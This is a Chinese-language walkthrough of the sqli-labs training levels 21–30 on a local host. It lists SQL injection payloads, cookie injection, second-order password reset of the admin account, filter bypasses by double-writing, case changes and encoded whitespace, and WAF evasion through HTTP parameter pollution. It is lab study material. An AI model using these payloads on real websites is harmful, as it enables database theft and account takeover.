sql 注入 21-30

Less-21

1. 先登录 admin admin
2. 登陆成功后，使用cookie editor 查看cookie
3. 解密cookie 发现是admin
4. 将**’) union select 1,2,database()#**加密后输入
5. 剩余步骤正常注入

Less-22

同Less-21的区别是 ” union select 1,2,database()#

剩余步骤正常注入

Less-23

http://127.0.0.1/sqli/Less-23/?id=1//显示的有信息

http://127.0.0.1/sqli/Less-23/?id=1'//此时显示报错

出现报错

http://127.0.0.1/sqli/Less-23/?id=1'--+//此时无法正常闭合

查看源码
将# --+ 均进行了替换，替换为空格
%00通过这个注释进行注释

http://127.0.0.1/sqli/Less-23/?id=1';%00

剩余步骤正常注入

http://127.0.0.1/sqli/Less-23/?id=11111' union select 1,2, 3;%00

Less-24

1. 首先查询目前的user信息，找到admin的密码
2. 用admin’# 注册一个账号，再登陆
3. 修改admin 的密码
4. SQL语句：

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
UPDATE users SET PASSWORD='123456' where username='admin'#' and password='$curr_pass'
UPDATE users SET PASSWORD='123456' where username='admin'

Less-25

http://127.0.0.1/sqli/Less-25/?id=1'//有报错信息
http://127.0.0.1/sqli/Less-25/?id=1'--+//尝试闭合，发现返回正常

http://127.0.0.1/sqli/Less-25/?id=1' order by 2--+//有报错

or 消失，查看源码

http://127.0.0.1/sqli/Less-25/?id=1' OorRder by 2--+//双写绕过

在MYSQL中对于大小写并不敏感

http://127.0.0.1/sqli/Less-25/?id=1' union select 1,2,3--+//无回显位置
http://127.0.0.1/sqli/Less-25/?id=1112' union select 1,2,3--+//有回显信息

http://127.0.0.1/sqli/Less-25/?id=1112' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata--+//双写绕过

Less-25a

查看源码


无包裹

Less-26
查看源码

双引号不报错，单引号报错，说明应该使用单引号闭合

对于空格和and 都过滤
对于and 可以进行双写绕过，对于空格可以使用url编码绕过
%09 Tab键（水平）
%0a 新建一行
%0c 新的一页
%0d return 键
%0b Tab键（垂直）
%a0 空格
() 绕过

Less-26a

使用 '）即可

Less-27

查看源码

发现过滤了union select ，可以使用大小写绕过
%0A可以当作括号

Less-27a

这里将报错关了，语句由上一关的单引号，变成了无单引号，经过测试，可以通过双引号进行闭合
其余同上一关

Less-28

匹配了union select 还有select ，其余和上面相同
双写绕过即可

Less-28a

查看源码，发现只过滤了union select 其余的过滤全都放开了

Less-29

基于WAF的一个错误
HTTP参数污染，攻击者通过在HTTP请求中插入特定的参数来发起攻击，如果Web应用中存在这样的漏洞，可以被攻击者来进行客户端或者服务器端的攻击
WAT服务器只解析重复参数里面的前者，而真正的Web 服务器（Apache)只解析重复参数里面的后者，我们可以传入两个id参数，前者合法而后者为我们想注入的内容
我们的后端是Apache ，所以我们是只要将参数放在后面即可

Less-30

同上一关的方法，只是这关换成了双引号